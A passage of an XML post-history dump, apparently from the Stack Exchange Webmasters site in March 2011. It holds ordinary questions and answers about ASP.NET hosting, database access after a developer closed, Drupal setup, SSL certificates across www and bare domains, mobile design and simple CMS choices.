tools:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;TECHNOLOGY&#xD;&#xA;&#xD;&#xA;•	Framework 		: Microsoft Dot Net Frame Work 3.0 (2.0) &#xD;&#xA;•	Programming 	        : Asp.Net&#xD;&#xA;•	Scripting		: C#, JAVA Script&#xD;&#xA;•	Extended Tool		: ASP.NET AJAX Control Toolkit &#xD;&#xA;                                       (Microsoft ASP.NET AJAX framework)&#xD;&#xA;•	Database		: Microsoft SQL Server 2008&#xD;&#xA;&#xD;&#xA;SOFTWARE USED&#xD;&#xA;•	Microsoft Visual Studio 2008&#xD;&#xA;•	Microsoft SQL Server 2008&#xD;&#xA;•	Microsoft SQL Server Management Studio Express&#xD;&#xA;•	Adobe Dreamweaver CS3&#xD;&#xA;•	Adobe Photoshop CS3&#xD;&#xA;•	Adobe Flash CS3&#xD;&#xA;•	Flash Slide Show Maker&#xD;&#xA;•	Cute FTP + Mozilla Fire FTP&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I have a document from the developer which my employer was originally told would provide all the data needed to make changes to the site. If it does, however, I can't see how. I've also tried to do whois searches on the DB IP, to find the host, but our ISP here blocks direct IP input as &quot;hacking&quot;.&#xD;&#xA;&#xD;&#xA;Please let me know if I can provide any more information.&#xD;&#xA;&#xD;&#xA;As I said I have very minimal experience with these things. I'd like to learn to handle our required changes myself, and so I guess my question has 3 forks. Where can I find a freelancer whom I can trust, and frankly, who is not too aggressively priced? Where can I begin to learn the skills I need so that this doesn't come up again? And how do I find the database host? For all I know this may be a local machine. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Josh&#xD;&#xA;" />
  <row Id="24707" PostHistoryTypeId="25" PostId="10971" RevisionGUID="28fce1ac-0ad8-40d3-a2dd-fa6b4d53a3c9" CreationDate="2011-03-21T11:30:24.730" Comment="http://twitter.com/#!/StackWebmasters/status/49794987193409536" />
  <row Id="24708" PostHistoryTypeId="5" PostId="10971" RevisionGUID="3e87f070-6d77-4825-9566-5cb67d57535e" CreationDate="2011-03-21T12:01:09.073" UserId="1253" Comment="removed &quot;php web-development &quot; tag, added 'asp.net' tag" Text="We have a dynamic website based on MSSQL and ASP.net. There is a hosted DB, which we have an IP and access credentials for. We do not apparently know where it is hosted. We need to make changes which are not covered by the CMS, and the company which built the site (last December) is no longer functioning. &#xD;&#xA;&#xD;&#xA;I'm at best an amateur when it comes to web design and programming, but this has become my responsibility to sort out. &#xD;&#xA;&#xD;&#xA;Anything that can be done to point me in the right direction will be appreciated. I can provide more info, if you can tell me what you need to know. By the way, we're based in Dubai, so responses may be oddly timed, or appear slow. Also, there are limited options to go get another local company to look at this, without simply rebuilding the site again.&#xD;&#xA;&#xD;&#xA;Thanks again for whatever help you can provide.&#xD;&#xA;&#xD;&#xA;The site was built, according to the developer, with the following tools:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;TECHNOLOGY&#xD;&#xA;&#xD;&#xA;•	Framework 		: Microsoft Dot Net Frame Work 3.0 (2.0) &#xD;&#xA;•	Programming 	        : Asp.Net&#xD;&#xA;•	Scripting		: C#, JAVA Script&#xD;&#xA;•	Extended Tool		: ASP.NET AJAX Control Toolkit &#xD;&#xA;                                       (Microsoft ASP.NET AJAX framework)&#xD;&#xA;•	Database		: Microsoft SQL Server 2008&#xD;&#xA;&#xD;&#xA;SOFTWARE USED&#xD;&#xA;•	Microsoft Visual Studio 2008&#xD;&#xA;•	Microsoft SQL Server 2008&#xD;&#xA;•	Microsoft SQL Server Management Studio Express&#xD;&#xA;•	Adobe Dreamweaver CS3&#xD;&#xA;•	Adobe Photoshop CS3&#xD;&#xA;•	Adobe Flash CS3&#xD;&#xA;•	Flash Slide Show Maker&#xD;&#xA;•	Cute FTP + Mozilla Fire FTP&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I have a document from the developer which my employer was originally told would provide all the data needed to make changes to the site. If it does, however, I can't see how. I've also tried to do whois searches on the DB IP, to find the host, but our ISP here blocks direct IP input as &quot;hacking&quot;.&#xD;&#xA;&#xD;&#xA;Please let me know if I can provide any more information.&#xD;&#xA;&#xD;&#xA;As I said I have very minimal experience with these things. I'd like to learn to handle our required changes myself, and so I guess my question has 3 forks. Where can I find a freelancer whom I can trust, and frankly, who is not too aggressively priced? Where can I begin to learn the skills I need so that this doesn't come up again? And how do I find the database host? For all I know this may be a local machine. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Josh&#xD;&#xA;" />
  <row Id="24709" PostHistoryTypeId="4" PostId="10971" RevisionGUID="3e87f070-6d77-4825-9566-5cb67d57535e" CreationDate="2011-03-21T12:01:09.073" UserId="1253" Comment="removed &quot;php web-development &quot; tag, added 'asp.net' tag" Text="ASP.net based Website DB access issues?" />
  <row Id="24710" PostHistoryTypeId="6" PostId="10971" RevisionGUID="3e87f070-6d77-4825-9566-5cb67d57535e" CreationDate="2011-03-21T12:01:09.073" UserId="1253" Comment="removed &quot;php web-development &quot; tag, added 'asp.net' tag" Text="&lt;asp.net&gt;&lt;database&gt;&lt;web-hosting&gt;&lt;sql-server&gt;" />
  <row Id="24711" PostHistoryTypeId="17" PostId="10981" RevisionGUID="4c9367a7-f516-4c4c-91c2-9d92fd3adaf7" CreationDate="2011-03-21T12:06:50.157" UserId="-1" Comment="from http://stackoverflow.com/questions/297505/cheap-asp-net-hosting-mutiple-domains/297521#297521" Text="" />
  <row Id="24712" PostHistoryTypeId="17" PostId="10982" RevisionGUID="09569615-58a8-4303-92f3-01f52ea65812" CreationDate="2011-03-21T12:06:50.157" UserId="-1" Comment="from http://stackoverflow.com/questions/297505/cheap-asp-net-hosting-mutiple-domains/297799#297799" Text="" />
  <row Id="24713" PostHistoryTypeId="17" PostId="10983" RevisionGUID="b6190200-8748-49d4-a506-ba9efc98901c" CreationDate="2011-03-21T12:06:50.157" UserId="-1" Comment="from http://stackoverflow.com/questions/297505/cheap-asp-net-hosting-mutiple-domains/4391300#4391300" Text="" />
  <row Id="24714" PostHistoryTypeId="2" PostId="10981" RevisionGUID="498cce23-0903-4cf2-9b77-e664165463eb" CreationDate="2008-11-18T00:59:20.497" UserDisplayName="Aaron Fischer" Text="I use Godaddy And the second tier hosting allows you to host multiple domains." />
  <row Id="24715" PostHistoryTypeId="2" PostId="10983" RevisionGUID="931d410e-2462-404a-a981-cb68705cfb13" CreationDate="2010-12-08T19:13:32.510" UserDisplayName="Avi" Text="You can host your site just for $1.99 per month. This was the cheapest hosting service I had found and also I haven't faced any issues after hosting my site there. I have hosted 2 domains there.&#xD;&#xA;Click below link for more details: &#xD;&#xA;http://affiliate.godaddy.com/redirect/0A5E8A92FE56EF836DEDA47FDFD871C4B2A95E704F02C3EA8A60B6464F4240C4" />
  <row Id="24716" PostHistoryTypeId="2" PostId="10982" RevisionGUID="48a9652c-e35d-4d57-89b1-21fa6d7f59d8" CreationDate="2008-11-18T03:47:34.760" UserDisplayName="kaneuniversal" Text="Mosso; their basic plan is $100, I think, and you can create unlimited ASP, ASP.NET, PHP, Perl, and RoR sites on their cloud." />
  <row Id="24717" PostHistoryTypeId="2" PostId="10980" RevisionGUID="90fe1870-e8db-4f6b-a560-c6d4168c6969" CreationDate="2008-11-18T00:51:47.300" UserDisplayName="tyndall" Text="Can anybody recommend some quality ASP.NET hosting providers that allow you to multiple domains without making you use a &quot;reseller&quot; account or purchase multiple accounts. I really only need email accounts for one of the domains.&#xD;&#xA;&#xD;&#xA;I'm looking for something about $20 to $45 USD." />
  <row Id="24718" PostHistoryTypeId="1" PostId="10980" RevisionGUID="90fe1870-e8db-4f6b-a560-c6d4168c6969" CreationDate="2008-11-18T00:51:47.300" UserDisplayName="tyndall" Text="Cheap ASP.NET Hosting - Mutiple Domains" />
  <row Id="24719" PostHistoryTypeId="3" PostId="10980" RevisionGUID="90fe1870-e8db-4f6b-a560-c6d4168c6969" CreationDate="2008-11-18T00:51:47.300" UserDisplayName="tyndall" Text="&lt;asp.net&gt;&lt;web-hosting&gt;" />
  <row Id="24720" PostHistoryTypeId="17" PostId="10980" RevisionGUID="4d055cfd-eebf-47aa-872e-62118d75bf4c" CreationDate="2011-03-21T12:06:50.157" UserId="-1" Comment="from http://stackoverflow.com/questions/297505/cheap-asp-net-hosting-mutiple-domains" Text="" />
  <row Id="24721" PostHistoryTypeId="2" PostId="10984" RevisionGUID="d87da61d-6185-4853-827c-bc4557edc93a" CreationDate="2011-03-21T11:56:18.343" UserDisplayName="xralf" Text="I just installed Drupal. But after installation I can't see my installed site.&#xD;&#xA;On the URL http://localhost/drupal-7.0/ I can only see the files and directories (like in FTP protocol).&#xD;&#xA;&#xD;&#xA;Do you know what I did wrong?&#xD;&#xA;&#xD;&#xA;thank you" />
  <row Id="24722" PostHistoryTypeId="1" PostId="10984" RevisionGUID="d87da61d-6185-4853-827c-bc4557edc93a" CreationDate="2011-03-21T11:56:18.343" UserDisplayName="xralf" Text="Drupal - after installation the website invisible" />
  <row Id="24723" PostHistoryTypeId="3" PostId="10984" RevisionGUID="d87da61d-6185-4853-827c-bc4557edc93a" CreationDate="2011-03-21T11:56:18.343" UserDisplayName="xralf" Text="&lt;cms&gt;&lt;drupal&gt;" />
  <row Id="24724" PostHistoryTypeId="17" PostId="10984" RevisionGUID="9e07da41-0a9a-4d37-9761-6257ba24c774" CreationDate="2011-03-21T12:24:51.773" UserId="-1" Comment="from http://superuser.com/questions/260300/drupal-after-installation-the-website-invisible" Text="" />
  <row Id="24725" PostHistoryTypeId="2" PostId="10985" RevisionGUID="f6c67eaf-32b9-481a-9599-2b55df0ab01d" CreationDate="2011-03-21T12:33:29.247" UserId="6232" Text="The problem here is that your website isn't set up to serve index.php as the default index file.&#xD;&#xA;&#xD;&#xA;Check the DirectoryIndex configuration entry of Apache." />
  <row Id="24726" PostHistoryTypeId="6" PostId="10980" RevisionGUID="cbeab168-f09b-4f4a-8773-d447bd6beecd" CreationDate="2011-03-21T13:07:16.057" UserId="1253" Comment="Added &quot;looking-for-hosting&quot;" Text="&lt;web-hosting&gt;&lt;asp.net&gt;&lt;looking-for-hosting&gt;" />
  <row Id="24727" PostHistoryTypeId="2" PostId="10986" RevisionGUID="9d4f7c19-9acb-4809-9a03-dd08104263e3" CreationDate="2011-03-21T13:18:54.683" UserId="6207" Text="I have a single app product I want to sell. There are tons of e-commerce website, but these seem to be targeted to companies that sell more than one product.&#xD;&#xA;&#xD;&#xA;Is there some solution to make an attractive website that emphasises the purchase of a single product?&#xD;&#xA;" />
  <row Id="24728" PostHistoryTypeId="1" PostId="10986" RevisionGUID="9d4f7c19-9acb-4809-9a03-dd08104263e3" CreationDate="2011-03-21T13:18:54.683" UserId="6207" Text="How to sell a single product rather than opening an entire ecommerce website" />
  <row Id="24729" PostHistoryTypeId="3" PostId="10986" RevisionGUID="9d4f7c19-9acb-4809-9a03-dd08104263e3" CreationDate="2011-03-21T13:18:54.683" UserId="6207" Text="&lt;ecommerce&gt;" />
  <row Id="24730" PostHistoryTypeId="5" PostId="10955" RevisionGUID="b105013e-3cce-41de-bcca-af7c32bb6442" CreationDate="2011-03-21T13:19:51.390" UserId="5718" Comment="deleted 10 characters in body" Text="Using the technique as laid out in the documentation, GA won't show the original domain. One way to track it would be to modify the redirect to put the domain name into a URL parameter. You could then pick it up and send it to GA in a custom variable." />
  <row Id="24734" PostHistoryTypeId="2" PostId="10988" RevisionGUID="c87ba6a8-fb79-4623-897d-684955900933" CreationDate="2011-03-21T13:35:48.647" UserId="6236" Text="If you're only ever likely to have one product you could set up an info site, then use paypal, nochex or google checkout to take the funds, coding the necessary steps manually - for a single product this needn't be problematic." />
  <row Id="24735" PostHistoryTypeId="2" PostId="10989" RevisionGUID="840cd3fe-4378-46c1-8f6c-801eedfb32c6" CreationDate="2011-03-21T14:00:00.173" UserId="5849" Text="I'd recommend going with Paypal's Buy Now button. Its really easy to get set up and place on your page. &#xD;&#xA;&#xD;&#xA;If you are looking for how to actually create the site, try finding a landing page theme on Theme Forest that you like and edit it for your product - adding in the buy now button. " />
  <row Id="24736" PostHistoryTypeId="2" PostId="10990" RevisionGUID="ff5bf184-b561-4298-ad18-d2e67497a0f0" CreationDate="2011-03-21T14:00:12.573" UserId="3467" Text="I'm making some websites, and a few of those are for different companies at the same address (we offer different services under different names). &#xD;&#xA;&#xD;&#xA;Usually for a company's website I use the hCard format to get Google to show a map of the location when people search for the company. As far as I know this also makes the company name appear on the map itself. &#xD;&#xA;&#xD;&#xA;However, because several companies are running from the same building, we don't want to confuse our customers and just show the main company name on the map. Is it possible to somewhere set a preference as to which name to show on a map, but still have Google serve up maps as SERPs for each of the company names?" />
  <row Id="24737" PostHistoryTypeId="1" PostId="10990" RevisionGUID="ff5bf184-b561-4298-ad18-d2e67497a0f0" CreationDate="2011-03-21T14:00:12.573" UserId="3467" Text="Google Maps: Multiple companies on one location" />
  <row Id="24738" PostHistoryTypeId="3" PostId="10990" RevisionGUID="ff5bf184-b561-4298-ad18-d2e67497a0f0" CreationDate="2011-03-21T14:00:12.573" UserId="3467" Text="&lt;google&gt;&lt;hcard&gt;&lt;google-maps&gt;" />
  <row Id="24739" PostHistoryTypeId="2" PostId="10991" RevisionGUID="41e4092b-55d8-4b34-b985-52d23b937201" CreationDate="2011-03-21T14:07:59.133" UserId="3111" Text="If your question meant which software package can you install on your site?&#xD;&#xA;Well there used to be a [gmail mobile project][1] which you could run on your own server.&#xD;&#xA;&#xD;&#xA;Here are some squirrelmail alternatives: (free)&#xD;&#xA;&#xD;&#xA; - [nasmail.org][2]&#xD;&#xA; - [roundcube.net][3]&#xD;&#xA; - [neomail.org][4]&#xD;&#xA;&#xD;&#xA;Other:&#xD;&#xA; &#xD;&#xA;- [banckle email][5]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I tried to aggregate this requirement that roberto had onto my site: &#xD;&#xA;&#xD;&#xA; - [m.defza.com/email][6]&#xD;&#xA;&#xD;&#xA;Here are some lightweight free email providers:&#xD;&#xA;&#xD;&#xA; - [m.gmail.com][7]&#xD;&#xA; - [m.yahoo.com][8]&#xD;&#xA; - [mail.ovi.com][9]&#xD;&#xA; - [mail.live.com][10] or [mobile.msn.com][11]&#xD;&#xA;&#xD;&#xA;There were a few more at one stage, but the overhead of providing free email along with the spam problem meant that most providers had to shutdown.  This means that only the best of the best will survive, gmail, hotmail, yahoo - these have proven to stand the test of time.&#xD;&#xA;Even now Nokia's [Ovi Mail is been run by Yahoo][12].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sourceforge.net/projects/gmail-mobile/&#xD;&#xA;  [2]: http://www.nasmail.org/&#xD;&#xA;  [3]: http://www.roundcube.net&#xD;&#xA;  [4]: http://sourceforge.net/projects/neomail/&#xD;&#xA;  [5]: http://banckle.com/apps/email-server/default.html&#xD;&#xA;  [6]: http://m.defza.com/email/&#xD;&#xA;  [7]: http://m.gmail.com/&#xD;&#xA;  [8]: http://m.yahoo.com&#xD;&#xA;  [9]: http://mail.ovi.com/&#xD;&#xA;  [10]: http://mail.live.com&#xD;&#xA;  [11]: http://mobile.msn.com&#xD;&#xA;  [12]: http://blog.ovi.com/2010/11/06/mail-and-chat-soon-to-be-powered-by-yahoo/" />
  <row Id="24740" PostHistoryTypeId="2" PostId="10992" RevisionGUID="0e6ebffb-c020-4d63-adc7-3bf0915bd63b" CreationDate="2011-03-21T14:27:54.203" UserId="4180" Text="what colors i can use for a video sharing site?&#xD;&#xA;&#xD;&#xA;what are the trends? the web 2.0 colors?&#xD;&#xA;&#xD;&#xA;i am looking for colors that can make the site as beautiful as i can." />
  <row Id="24741" PostHistoryTypeId="1" PostId="10992" RevisionGUID="0e6ebffb-c020-4d63-adc7-3bf0915bd63b" CreationDate="2011-03-21T14:27:54.203" UserId="4180" Text="What colours i should use for a video sharing site template?" />
  <row Id="24742" PostHistoryTypeId="3" PostId="10992" RevisionGUID="0e6ebffb-c020-4d63-adc7-3bf0915bd63b" CreationDate="2011-03-21T14:27:54.203" UserId="4180" Text="&lt;web&gt;" />
  <row Id="24743" PostHistoryTypeId="25" PostId="10990" RevisionGUID="c78c3b43-8975-446b-8479-9fefcd6eedec" CreationDate="2011-03-21T14:30:24.670" Comment="http://twitter.com/#!/StackWebmasters/status/49840285139746816" />
  <row Id="24744" PostHistoryTypeId="10" PostId="10992" RevisionGUID="8fe08972-2415-4877-bd9b-d936a0bb537e" CreationDate="2011-03-21T14:36:33.870" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="24745" PostHistoryTypeId="6" PostId="10659" RevisionGUID="9949b511-2f44-4d32-ad58-685e0d64a855" CreationDate="2011-03-21T14:42:00.293" UserId="1253" Comment="added &quot;looking-for-a-script &quot; tag" Text="&lt;email&gt;&lt;mobile&gt;&lt;looking-for-a-script&gt;&lt;webmail&gt;" />
  <row Id="24747" PostHistoryTypeId="2" PostId="10993" RevisionGUID="eca195a0-9bd2-4f6e-a23e-3e347f61d49b" CreationDate="2011-03-21T15:41:17.207" UserId="6002" Text="We've got our website running and https / ssl works just great.&#xD;&#xA;&#xD;&#xA;EXCEPT&#xD;&#xA;&#xD;&#xA;when users enter `http://www.mydomain.com` and then enter the secure area and get directed to `httpS://www.mydomain.com` it works fine.&#xD;&#xA;&#xD;&#xA;But when users enter just `http://mydomain.com` and then enter the secure are and get directed to `httpS://mydomain.com` they get a warning about the certificate being from a website called &quot;www.mydomain.com&quot; while they're trying to enter &quot;mydomain.com&quot; ....&#xD;&#xA;&#xD;&#xA;Does our SSL cert not cover both www.mydomain.com and mydomain.com? Are we suppose to buy TWO certs, on for each?? Surely not?&#xD;&#xA;&#xD;&#xA;Any help or pointers to the standard way of doing things like this would be great.&#xD;&#xA;&#xD;&#xA;We're using Apache HTTPD to forward requests to Tomcat webapps. Apache is taking care of all the SSL connections." />
  <row Id="24748" PostHistoryTypeId="1" PostId="10993" RevisionGUID="eca195a0-9bd2-4f6e-a23e-3e347f61d49b" CreationDate="2011-03-21T15:41:17.207" UserId="6002" Text="www.mydomain.com secure but not mydomain.com?" />
  <row Id="24749" PostHistoryTypeId="3" PostId="10993" RevisionGUID="eca195a0-9bd2-4f6e-a23e-3e347f61d49b" CreationDate="2011-03-21T15:41:17.207" UserId="6002" Text="&lt;apache&gt;&lt;ssl&gt;" />
  <row Id="24750" PostHistoryTypeId="2" PostId="10994" RevisionGUID="4755709d-1330-4e27-9e8c-3fb1eb637fa4" CreationDate="2011-03-21T15:49:18.393" UserId="5954" Text="By default, it does not. You have to buy a wild-card ssl certificate to get that working. You can also specify multiple hosts in the ssl certificate. &#xD;&#xA;&#xD;&#xA;Another option is to always redirect to a canonical domain. In this case, it makes sense to redirect from domain.com to www.domain.com. &#xD;&#xA;" />
  <row Id="24751" PostHistoryTypeId="2" PostId="10995" RevisionGUID="ad56bbdd-f72a-4ebb-b7f0-ff58c79d0e5d" CreationDate="2011-03-21T15:55:10.777" UserId="1253" Text="SSL, be default, covers one domain. In your case it's www.domain.com. Users who go to https://domain.com will see that error message as domain.com is not explicitly covered by that SSL certificate.&#xD;&#xA;&#xD;&#xA;To over come this you can:&#xD;&#xA;&#xD;&#xA;1) Get a wild card SSL certificate which covers subdomains in addition to the main domain. This is nice as it's flexible and let's you encrypt as many subdomains as you want but also a lot more expensive.&#xD;&#xA;&#xD;&#xA;2) Redirect your users from domain.com to www.domain.com. Besides being easy to do and free, it's also smart usability as it gives your users a consistent URL to use (and see).&#xD;&#xA;&#xD;&#xA;To do this in Apache you can put this in an .htaccess file in your root web directory:&#xD;&#xA;&#xD;&#xA;    Options +FollowSymlinks&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^(www\.|$) [NC]&#xD;&#xA;    RewriteRule ^ http://www.%{HTTP_HOST}%{REQUEST_URI} [R=301,L]" />
  <row Id="24752" PostHistoryTypeId="2" PostId="10996" RevisionGUID="5dda9df3-4ca9-4871-b7d3-b4e57e376955" CreationDate="2011-03-21T15:59:15.353" UserId="1725" Text="I want to make a website for one thing, I don't want to make two websites for one thing I want to make one. You probably agree with that.&#xD;&#xA;&#xD;&#xA;The problem is, we're walking away from this massive 22&quot; screen and chair as we start to stare into the palms of our hands at these screens that can be up to 80% smaller. They try to hit the website again and -- bam, the thing sucks, fonts are all over the place, divs goof up, scripts don't run, things are too wide, I can't read the text, blah blah blah it's garbage.&#xD;&#xA;&#xD;&#xA;Standard solution? Make another website.&#xD;&#xA;Great, but that means I have to make another website. I don't want to do that, I want to make a website once. How do I do that?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24753" PostHistoryTypeId="1" PostId="10996" RevisionGUID="5dda9df3-4ca9-4871-b7d3-b4e57e376955" CreationDate="2011-03-21T15:59:15.353" UserId="1725" Text="What are the most efficient/effective ways I can build a website for Mobile and Computer?" />
  <row Id="24754" PostHistoryTypeId="3" PostId="10996" RevisionGUID="5dda9df3-4ca9-4871-b7d3-b4e57e376955" CreationDate="2011-03-21T15:59:15.353" UserId="1725" Text="&lt;mobile&gt;&lt;cross-browser&gt;&lt;cross-platform&gt;" />
  <row Id="24755" PostHistoryTypeId="2" PostId="10997" RevisionGUID="96494603-63bb-43e4-ba93-c008ef255cf4" CreationDate="2011-03-21T16:03:19.863" UserId="1253" Text="Ideally you will design the website in such a way that you should only need to write a mobile stylesheet to make your site mobile friendly. In fact I'm fairly certain that's what this website does. This should require no additional programming, only a new stylesheet that either overrides (aka cascades) the main stylesheet with any rule changes, or a fresh stylesheet altogether to make the file size being downloaded smaller." />
  <row Id="24763" PostHistoryTypeId="2" PostId="11000" RevisionGUID="a90b5435-b6df-4285-a848-6634c2e7d977" CreationDate="2011-03-21T16:52:38.333" UserId="6240" Text="Can anyone tell me based on experience what to use or what to do?&#xD;&#xA;&#xD;&#xA;I want to enable users(my family) to create their own simple homepage including a background image, some text and hyperlinks based on templates on my website hosted on my server. What is the best way to approach this? I don’t have any website created yet so I’m open to all suggestions. I want to present them with a webbased GUI, so there is no HTML or programming knowlegde needed. It needs to have a low learing curve.&#xD;&#xA;&#xD;&#xA;I searched the web and came across Wordpress, Movabletype and some other CMS like tools. (Joomla and such) Are these any good?&#xD;&#xA;&#xD;&#xA;Please advice,&#xD;&#xA;&#xD;&#xA;Darrell.&#xD;&#xA;" />
  <row Id="24764" PostHistoryTypeId="1" PostId="11000" RevisionGUID="a90b5435-b6df-4285-a848-6634c2e7d977" CreationDate="2011-03-21T16:52:38.333" UserId="6240" Text="Enable users to create own homepage." />
  <row Id="24765" PostHistoryTypeId="3" PostId="11000" RevisionGUID="a90b5435-b6df-4285-a848-6634c2e7d977" CreationDate="2011-03-21T16:52:38.333" UserId="6240" Text="&lt;web-development&gt;&lt;website-design&gt;&lt;web-hosting&gt;&lt;websites&gt;" />
  <row Id="24767" PostHistoryTypeId="2" PostId="11002" RevisionGUID="13366ce7-1685-4559-a16a-ae9adc058137" CreationDate="2011-03-21T16:54:42.660" UserId="1643" Text="One word for the technique you probably need is &quot;responsive design&quot;. There's a good article in Smashing Magazine about it: http://www.smashingmagazine.com/2011/01/12/guidelines-for-responsive-web-design/&#xD;&#xA;&#xD;&#xA;This blog post is also useful and has links to some sites where it works well http://adactio.com/journal/1700/" />
  <row Id="24768" PostHistoryTypeId="5" PostId="10983" RevisionGUID="8c1cb568-b298-4954-9b84-c027562133d7" CreationDate="2011-03-21T16:58:36.050" UserId="1253" Comment="Removed affiliate link and replaced it with a direct link" Text="You can host your site just for $1.99 per month. This was the cheapest hosting service I had found and also I haven't faced any issues after hosting my site there. I have hosted 2 domains there.&#xD;&#xA;&#xD;&#xA;http://www.godaddy.com" />
  <row Id="24769" PostHistoryTypeId="25" PostId="10996" RevisionGUID="dc4a8a92-b750-415e-8654-f8f9a1fd738b" CreationDate="2011-03-21T17:30:25.203" Comment="http://twitter.com/#!/StackWebmasters/status/49885586017878016" />
  <row Id="24771" PostHistoryTypeId="17" PostId="11005" RevisionGUID="5233ca16-5722-425b-a156-6c767f5de8fa" CreationDate="2011-03-21T17:57:36.177" UserId="-1" Comment="from http://stackoverflow.com/questions/5380054/www-mydomain-com-secure-but-not-mydomain-com/5380196#5380196" Text="" />
  <row Id="24772" PostHistoryTypeId="2" PostId="11005" RevisionGUID="5b552289-c5e3-4aef-b990-e55a9fef0d83" CreationDate="2011-03-21T15:54:39.377" UserDisplayName="Andy Finkenstadt" Text="Make http://example.com redirect to https://www.example.com.&#xD;&#xA;&#xD;&#xA;To answer your remaining questions, no - SSL certificate verification steps covers only the configured name.  It is possible to obtain a certificate that covers more than one name; and is supported in all modern browsers.  &#xD;&#xA;&#xD;&#xA;" />
  <row Id="24773" PostHistoryTypeId="2" PostId="11004" RevisionGUID="361e553d-e6b2-475b-9b37-6eca43547b71" CreationDate="2011-03-21T15:44:41.123" UserId="6002" Text="We've got our website running and https / ssl works just great.&#xD;&#xA;&#xD;&#xA;EXCEPT&#xD;&#xA;&#xD;&#xA;when users enter `http://www.mydomain.com` and then enter the secure area and get directed to `httpS://www.mydomain.com` it works fine.&#xD;&#xA;&#xD;&#xA;But when users enter just `http://mydomain.com` and then enter the secure are and get directed to `httpS://mydomain.com` they get a warning about the certificate being from a website called &quot;www.mydomain.com&quot; while they're trying to enter &quot;mydomain.com&quot; ....&#xD;&#xA;&#xD;&#xA;Does our SSL cert not cover both www.mydomain.com and mydomain.com? Are we suppose to buy TWO certs, on for each?? Surely not?&#xD;&#xA;&#xD;&#xA;Any help or pointers to the standard way of doing things like this would be great.&#xD;&#xA;&#xD;&#xA;We're using Apache HTTPD to forward requests to Tomcat webapps. Apache is taking care of all the SSL connections." />
  <row Id="24774" PostHistoryTypeId="1" PostId="11004" RevisionGUID="361e553d-e6b2-475b-9b37-6eca43547b71" CreationDate="2011-03-21T15:44:41.123" UserId="6002" Text="www.mydomain.com secure but not mydomain.com?" />
  <row Id="24775" PostHistoryTypeId="3" PostId="11004" RevisionGUID="361e553d-e6b2-475b-9b37-6eca43547b71" CreationDate="2011-03-21T15:44:41.123" UserId="6002" Text="&lt;apache&gt;&lt;ssl&gt;" />
  <row Id="24776" PostHistoryTypeId="17" PostId="11004" RevisionGUID="2ea0343f-7f4c-40b7-8ad8-4aaa10a36af1" CreationDate="2011-03-21T17:57:36.177" UserId="-1" Comment="from http://stackoverflow.com/questions/5380054/www-mydomain-com-secure-but-not-mydomain-com" Text="" />
  <row Id="24777" PostHistoryTypeId="5" PostId="11004" RevisionGUID="1ed37a08-029b-4d71-ba95-200305660bf7" CreationDate="2011-03-21T18:03:13.853" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [www.mydomain.com secure but not mydomain.com?](http://webmasters.stackexchange.com/questions/10993/www-mydomain-com-secure-but-not-mydomain-com)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hi&#xD;&#xA;&#xD;&#xA;We've got our website running and https / ssl works just great.&#xD;&#xA;&#xD;&#xA;EXCEPT&#xD;&#xA;&#xD;&#xA;when users enter `http://www.mydomain.com` and then enter the secure area and get directed to `httpS://www.mydomain.com` it works fine.&#xD;&#xA;&#xD;&#xA;But when users enter just `http://mydomain.com` and then enter the secure are and get directed to `httpS://mydomain.com` they get a warning about the certificate being from a website called &quot;www.mydomain.com&quot; while they're trying to enter &quot;mydomain.com&quot; ....&#xD;&#xA;&#xD;&#xA;Does our SSL cert not cover both www.mydomain.com and mydomain.com? Are we suppose to buy TWO certs, on for each?? Surely not?&#xD;&#xA;&#xD;&#xA;Any help or pointers to the standard way of doing things like this would be great.&#xD;&#xA;&#xD;&#xA;We're using Apache HTTPD to forward requests to Tomcat webapps. Apache is taking care of all the SSL connections." />
  <row Id="24778" PostHistoryTypeId="10" PostId="11004" RevisionGUID="218d7a62-6024-4e66-b8f8-eeea7fafce04" CreationDate="2011-03-21T18:03:13.573" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="24779" PostHistoryTypeId="2" PostId="11006" RevisionGUID="a8ef6fd0-254e-4d79-97fe-3af213f3472b" CreationDate="2011-03-21T18:12:52.827" UserId="1134" Text="Wordpress is easy to setup, and easy to use. There are tons of themes which will likely make happy your family members who want their page(s) to look cool. It's mainly blogging software, but you can create pages fairly easily with it." />
  <row Id="24780" PostHistoryTypeId="2" PostId="11007" RevisionGUID="c7c75999-fe08-49f4-972c-b9eff08880fe" CreationDate="2011-03-21T18:31:48.410" UserId="3019" Text="Is there any way to develop a Wordpress site offline on a Windows machine, and then sync this wordpress site with the server?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24781" PostHistoryTypeId="1" PostId="11007" RevisionGUID="c7c75999-fe08-49f4-972c-b9eff08880fe" CreationDate="2011-03-21T18:31:48.410" UserId="3019" Text="Run Wordpress locally on Windows and sync with a server" />
  <row Id="24782" PostHistoryTypeId="3" PostId="11007" RevisionGUID="c7c75999-fe08-49f4-972c-b9eff08880fe" CreationDate="2011-03-21T18:31:48.410" UserId="3019" Text="&lt;wordpress&gt;" />
